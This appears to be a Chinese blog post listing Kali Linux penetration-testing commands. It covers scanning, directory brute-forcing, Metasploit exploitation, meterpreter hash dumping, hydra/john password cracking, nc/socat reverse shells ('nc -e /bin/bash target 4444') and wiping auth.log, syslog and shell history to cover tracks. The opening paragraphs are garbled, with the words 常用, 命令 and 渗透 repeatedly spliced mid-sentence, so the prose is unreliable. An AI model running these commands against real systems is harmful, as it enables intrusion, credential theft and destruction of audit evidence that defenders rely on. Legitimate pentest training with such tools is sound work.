|
拿到一台Kali,渗透第一件事不是常用急着扫端口,而是命令搞清楚自己手上有什么牌。`ip a`看一眼网卡,渗透`ip r`确认路由,常用这俩命令比图形界面靠谱得多。命令我见过太多人一上来就`nmap -sS`,渗透结果发现目标根本不在当前网段,常用白忙活。命令 信息收集阶段,渗透`nmap`是常用绕不开的。但别只知道`-sS`,命令`-sn`做主机发现不触发端口扫描,渗透内网里特别实用。常用`-sV`探服务版本,命令`-O`猜操作系统,组合起来就是`nmap -sV -O -T4 192.168.1.0/24`。T4是速度模板,T5太快容易丢包,T3又慢得让人想砸键盘。有个细节:扫描Windows目标时加`--script smb-os-discovery`,比`-O`准得多。 Web渗透离不开`dirb`和`gobuster`。`dirb http://target /usr/share/wordlists/dirb/common.txt`是标准用法,但Kali自带的字典太老,我习惯用SecLists里的`raft-medium-directories.txt`。`gobuster dir -u http://target -w /path/to/list -x php,html,txt`,`-x`指定扩展名,漏掉这个参数会少一半结果。去年打一个站,`dirb`没扫出后台,换`gobuster`加`-x php`直接爆出`/admin.php`,字典和参数缺一不可。 漏洞利用阶段,`msfconsole`是主力。但别被它的模块数量唬住,核心就几个命令:`search`找模块,`use`加载,`show options`看参数,`set`赋值,`exploit`执行。`search type:exploit platform:windows smb`这种带过滤的搜索比盲搜高效。有个坑:`set RHOSTS`和`set RHOST`不一样,前者支持网段,后者只认单IP,写错了会报错但不说原因。 拿到shell之后,`meterpreter`的常用命令得背熟。`sysinfo`看系统信息,`getuid`查权限,`hashdump`抓哈希,`shell`进cmd,`background`放后台。想提权就`use post/multi/recon/local_exploit_suggester`,它会根据系统补丁情况推荐可用exp。这比手动翻`exploit-db`快得多,但别全信,有些推荐模块实际打不通。 密码攻击这块,`hydra`和`john`分工明确。`hydra -l admin -P pass.txt ssh://192.168.1.100`在线爆破,`john --wordlist=rockyou.txt hash.txt`离线破解。`hydra`的`-t`参数控制线程数,默认16,SSH目标调到4以下,否则容易触发防护。`john`支持自动识别哈希类型,但`--format=raw-md5`这种显式指定更稳。跑`rockyou.txt`之前先`sort -u`去重,能省不少时间。 后渗透阶段,`nc`和`socat`是绕不开的。`nc -lvnp 4444`监听,`nc -e /bin/bash target 4444`反弹,但很多系统没编译`-e`选项。这时候`socat TCP-LISTEN:4444,fork EXEC:/bin/bash`更可靠。文件传输用`python3 -m http.server 80`起个临时服务,目标机`wget`或`curl`拉过去,比`nc`传文件稳定得多。 清理痕迹别只记得`history -c`,`~/.bash_history`、`/var/log/auth.log`、`/var/log/syslog`都得处理。`shred -zu`覆写删除比`rm`彻底。但说实话,真到这一步,说明已经暴露了,最好的清理是别留下东西。 Kali的命令行工具几百个,常用的就这二十来个。工具是死的,思路是活的。同一个`nmap`,有人只能扫出开放端口,有人能画出完整网络拓扑。差别不在命令本身,在于你知道下一步该问什么问题。 |